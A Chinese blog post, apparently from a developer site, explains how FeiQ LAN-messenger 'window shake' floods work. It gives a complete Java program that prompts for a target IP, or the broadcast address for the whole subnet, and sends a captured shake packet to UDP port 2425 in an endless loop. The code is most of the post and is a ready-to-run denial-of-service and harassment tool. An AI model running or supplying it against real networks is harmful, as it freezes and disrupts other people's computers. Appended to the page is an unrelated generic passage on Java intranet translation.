[Java]关于飞秋内网攻击二三事

前言

之前有小伙伴问星愿说 有人在飞秋/内网通里面大规模的频繁的发送窗口抖动 导致电脑卡顿 是怎么回事 之前有人说是内网通讯软件的Bug 星愿本人也用过类似的软件 觉得事情并不简单 后来查阅了一些文档 这件事情才算是水落石出

关于飞秋

飞秋(FeiQ)是基于 TCP/IP(UDP). 完全兼容网上广为流传的飞鸽传书(都同样使用TCP/UDP的2425端口)并比原来飞鸽功能更加强大
飞秋在使用方面 也很简单 只要保证所有的主机 在同一个局域网下 就能实现内网通讯功能

案例导入

FeiQ作为一款内网通讯软件 只要在同一个内网环境下 就可以实现时事通讯的功能 众所周知 一款成熟的软件出现 Bug 是一个很偶然的事情 而且是大范围的出现 Bug 并且频繁的出现就不正常了 所以我怀疑不是 程序本身问题 而是认为介入导致的

实现原理

说起飞秋的"震动攻击" 不由得让星愿想起了 08年一时席卷QQ的 QQ炸弹 回归正题 百度搜索飞秋 在百度百科 你会看到 FeiQ 是一款 基于 TCP/IP(UDP)传输协议的 内网通讯软件
详细解释在我的另一篇文章[TCP/IP]TCP/IP与UDP网络协议的区别
剩下的就是代码了

package cn.starwish;

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;

public class UdpForce {
	public static void main(String[] args) throws IOException, InterruptedException {
		// Create data package interface object --创建数据包接口对象
		@SuppressWarnings("resource")
		DatagramSocket da = new DatagramSocket();
		// If you change IP address to 255.255.255.255 it will be send information public -- 如果输入的IP 为 255.255.255.255 那么将会对全网段发送信息
		System.out.print("输入要攻击的IP:");
		Scanner input = new Scanner(System.in);
		String ipAddr = input.nextLine();
		// This is the code to attack interface We can get it for catch package  -- 我们可以通过对飞秋进行抓包的方式 获取到实现攻击的代码(窗口震动)
		String a = "1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:%s:%s:209:.";
		byte[] by = a.getBytes();
		int fuckNum = 1;
		while (true) {
			// Used udp to forced interface The FeiQ sort is 2425  --  使用udp协议 向其他用户的飞秋的端口(2425)发送信息 
			DatagramPacket daPacket = new DatagramPacket(by, by.length, InetAddress.getByName(ipAddr),2425);
			// Send information -- 这里使用了 while 形成死循环 不间断的向目标发送信息
			da.send(daPacket);
			// Count -- 统计攻击次数
			System.out.println("已发射"+(fuckNum++)+"次!");
		}
	}
}

愿你走出前半生 归来仍是少年

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java内网自动翻译是指在Java编程语言环境下开发的一种能够自动将一种语言翻译为另一种语言的应用程序。在内网环境中,这种翻译应用可以用于帮助用户在不同语种之间进行交流和理解。 Java内网自动翻译应用常采用机器学习和自然语言处理技术,借助各种算法和模型来实现翻译功能。这些算法和模型可以根据大量的语料库进行训练,从而提高翻译质量和准确度。 在使用Java内网自动翻译应用时,用户可以输入待翻译的文本或语音,并选择目标语言。应用程序会将输入的文本或语音进行语言识别,并将其翻译为用户选择的目标语言。翻译结果可以以文本或语音的形式返回给用户。 Java内网自动翻译应用的优点是方便快捷,可以在内网环境中随时随地进行翻译,极大地方便了用户的交流和理解。同时,由于采用了机器学习和自然语言处理技术,翻译质量和准确度也可以得到一定的保障。 然而,Java内网自动翻译应用也存在一些挑战。例如,不同语言之间存在着很多复杂的语法和语义差异,这对于机器翻译来说是一个难题。此外,不同领域的术语和行业专用词汇也是一个挑战,需要不断更新和优化翻译模型。 总之,Java内网自动翻译应用是一种能够在内网环境中实现自动翻译的应用程序,过机器学习和自然语言处理技术,可以大大提高用户的交流和理解效率。然而,仍然需要不断优化和更新翻译模型,以提供更加准确和专业的翻译服务。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值